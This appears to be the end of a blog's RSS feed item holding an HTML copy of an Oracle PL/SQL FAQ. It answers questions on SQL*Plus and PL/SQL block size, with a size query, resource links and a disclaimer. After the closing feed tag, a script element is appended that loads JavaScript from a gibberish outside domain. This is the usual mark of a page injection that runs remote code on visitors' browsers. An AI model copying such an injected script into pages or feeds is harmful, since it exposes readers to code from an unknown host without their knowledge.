<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_Is_there_a"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Is there a PL/SQL Engine in SQL*Plus?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">No. Unlike Oracle Forms, SQL*Plus does not have an embedded PL/SQL engine. Thus, all your PL/SQL code is sent directly to the database engine for execution. This makes it much more efficient as SQL statements are not stripped off and sent to the database individually. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a></span><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_Is_there_a_1"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Is there a limit on the size of a PL/SQL block?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Yes, the max size is not an explicit byte limit, but related to the parse tree that is created when you compile the code. You can run the following select statement to query the size of an existing package or procedure: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               SQL&gt; select * from dba_object_size where name = 'procedure_name';</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in; tab-stops: list .5in;"><a name="_Where_can_one"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Where can one find more info about PL/SQL?</span></span></span></h3>
<ul type="disc">
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://192.168.121.14/knowledge_bank/online_books/oracle8irel3/doc/appdev.817/a77069/toc.htm"><span style="font-size: small; color: #0000ff;">KSHOP</span></a></span><span style="font-size: small;"><span style="font-family: Calibri;"><span style="mso-fareast-font-family: 'Times New Roman';"> </span><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"></span></span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://orafaq.com/faqscrpt.htm#GENPLSQL"><span style="font-size: small; color: #0000ff;">Oracle FAQ: PL/SQL code examples</span></a><span style="font-size: small;"> </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://orafaq.com/books/plsql.htm"><span style="font-size: small; color: #0000ff;">Oracle FAQ: PL/SQL Books</span></a><span style="font-size: small;"> </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://plnet.org/"><span style="font-size: small; color: #0000ff;">PLNet.org</span></a><span style="font-size: small;"> &#8211; An open source repository for PL/SQL developers </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://www.revealnet.com/Pipelines/PLSQL/index.htm"><span style="font-size: small; color: #0000ff;">RevealNet PL/SQL Pipeline</span></a><span style="font-size: small;"> &#8211; A free community for Oracle developers worldwide </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://www.gt.ed.net/keith/plsql/index.html"><span style="font-size: small; color: #0000ff;">The PL/SQL Cellar</span></a><span style="font-size: small;"> &#8211; Free Oracle PL/SQL scripts including a bitwise operations package and message digest algorithms </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://www.plsolutions.com/"><span style="font-size: small; color: #0000ff;">PLSolutions.com</span></a><span style="font-size: small;"> &#8211; PL/Solutions provides consulting and training services for the Oracle PL/SQL language and PL/Vision </span></span></li>
<li class="MsoNormal" style="margin: 0in 0in 0pt; mso-list: l0 level1 lfo3; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><a href="http://dmoz.org/Computers/Programming/Languages/PL-SQL/"><span style="font-size: small; color: #0000ff;">The DMOZ PL/SQL Directory</span></a><span style="font-size: small;"> </span></span></li>
</ul>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">·  </span><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: small;"><br />
<hr size="2" /></span></span></div>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><strong><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Disclaimer: <span style="color: black;"></span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">All information is offered in good faith and in the hope that it may be of use, but is not guaranteed to be correct, up to date or suitable for any particular purpose. <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The author (and contributors) accepts no liability in respect of this information or its use. <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">This site is independent of and does not represent Oracle Corporation in any way. Oracle does not officially sponsor, approve, or endorse this site or its content. <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><strong><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><strong><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Copyright: <span style="color: black;"></span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">This site and all content provided on it belongs to the Oracle Underground FAQ (</span><a href="http://www.ibi.co.za/frank/faq.htm"><span style="font-size: small; color: #0000ff;">http://www.ibi.co.za/frank/faq.htm</span></a><span style="font-size: small;">) and is copyrighted by law. <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Oracle is a registered trademark of the Oracle Corporation. <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">All material is, and will remain the property of the respective owners and contributors.<span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> <span style="color: black;"></span></span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center; tab-stops: list .5in;" align="center"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; tab-stops: list .5in;"><span style="font-size: small; font-family: Calibri;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/10/oracle-plsql-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>